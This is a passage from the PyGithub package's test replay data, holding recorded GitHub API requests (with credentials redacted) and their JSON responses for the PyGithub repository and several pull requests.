v3","private":false,"created_at":"2012-02-25T12:53:47Z","open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"PyGithub","pushed_at":"2012-05-10T18:49:21Z","id":3544490,"ssh_url":"git@github.com:jacquev6/PyGithub.git","updated_at":"2012-05-10T18:49:21Z"} https GET api.github.com None /repos/jacquev6/PyGithub/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '485'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": 568250167242549743} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.setUp.txt0000644000175100001660000046535114756101563022321 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-07T04:02:03Z","pushed_at":"2023-06-07T06:56:40Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13881,"stargazers_count":6051,"watchers_count":6051,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1635,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1635,"open_issues":252,"watchers":6051,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1635,"subscribers_count":115} https GET api.github.com None /repos/PyGithub/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:46 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a41ee9edeaca5340c5132c726626daebfd3d9755ecc6f660b86b181dd45e202c"'), ('Last-Modified', 'Tue, 30 May 2023 15:23:13 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4958'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '42'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '83F0:276E:81B6DB:830DD7:64803F81')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://github.com/PyGithub/PyGithub/pull/31","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"sfdye"}],"requested_teams":[{"id":123}],"labels":[],"milestone":{"number":1},"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-07T04:02:03Z","pushed_at":"2023-06-07T06:56:40Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13881,"stargazers_count":6051,"watchers_count":6051,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1635,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1635,"open_issues":252,"watchers":6051,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} https GET api.github.com None /repos/MarcoFalke/PyGithub/pulls/1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '14949'), ('x-runtime-rack', '0.113998'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"0be5998718ff72c3c10d4a79113f2d0b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '59'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D02C:0794:1E3DF70:4B92E31:5B043D49'), ('last-modified', 'Tue, 22 May 2018 14:50:43 GMT'), ('date', 'Tue, 22 May 2018 15:54:49 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '60'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1527008089')] {"url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1","id":189690575,"html_url":"https://github.com/MarcoFalke/PyGithub/pull/1","diff_url":"https://github.com/MarcoFalke/PyGithub/pull/1.diff","patch_url":"https://github.com/MarcoFalke/PyGithub/pull/1.patch","issue_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/1","number":1,"state":"closed","locked":false,"title":"closed pull request","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"body":"","created_at":"2018-05-22T14:50:37Z","updated_at":"2018-05-22T14:50:43Z","closed_at":"2018-05-22T14:50:43Z","merged_at":null,"merge_commit_sha":"5b7be70471a1d29a86d7c5d3243ba972f22044e0","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1/commits","review_comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/1/comments","review_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/1/comments","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/2665a0d499fe7d472096a12139b2b7a6613b8a6d","head":{"label":"MarcoFalke:Mf1805-pull_closed","ref":"Mf1805-pull_closed","sha":"2665a0d499fe7d472096a12139b2b7a6613b8a6d","user":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"repo":{"id":134421800,"name":"PyGithub","full_name":"MarcoFalke/PyGithub","owner":{"login":"MarcoFalke","id":6399679,"avatar_url":"https://avatars0.githubusercontent.com/u/6399679?v=4","gravatar_id":"","url":"https://api.github.com/users/MarcoFalke","html_url":"https://github.com/MarcoFalke","followers_url":"https://api.github.com/users/MarcoFalke/followers","following_url":"https://api.github.com/users/MarcoFalke/following{/other_user}","gists_url":"https://api.github.com/users/MarcoFalke/gists{/gist_id}","starred_url":"https://api.github.com/users/MarcoFalke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarcoFalke/subscriptions","organizations_url":"https://api.github.com/users/MarcoFalke/orgs","repos_url":"https://api.github.com/users/MarcoFalke/repos","events_url":"https://api.github.com/users/MarcoFalke/events{/privacy}","received_events_url":"https://api.github.com/users/MarcoFalke/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/MarcoFalke/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/MarcoFalke/PyGithub","forks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/forks","keys_url":"https://api.github.com/repos/MarcoFalke/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/MarcoFalke/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/MarcoFalke/PyGithub/teams","hooks_url":"https://api.github.com/repos/MarcoFalke/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/MarcoFalke/PyGithub/events","assignees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/MarcoFalke/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/tags","blobs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/MarcoFalke/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/MarcoFalke/PyGithub/languages","stargazers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/MarcoFalke/PyGithub/subscription","commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/MarcoFalke/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/MarcoFalke/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/MarcoFalke/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/MarcoFalke/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/MarcoFalke/PyGithub/compare/{base}...{head}","merges_url":"https://api.g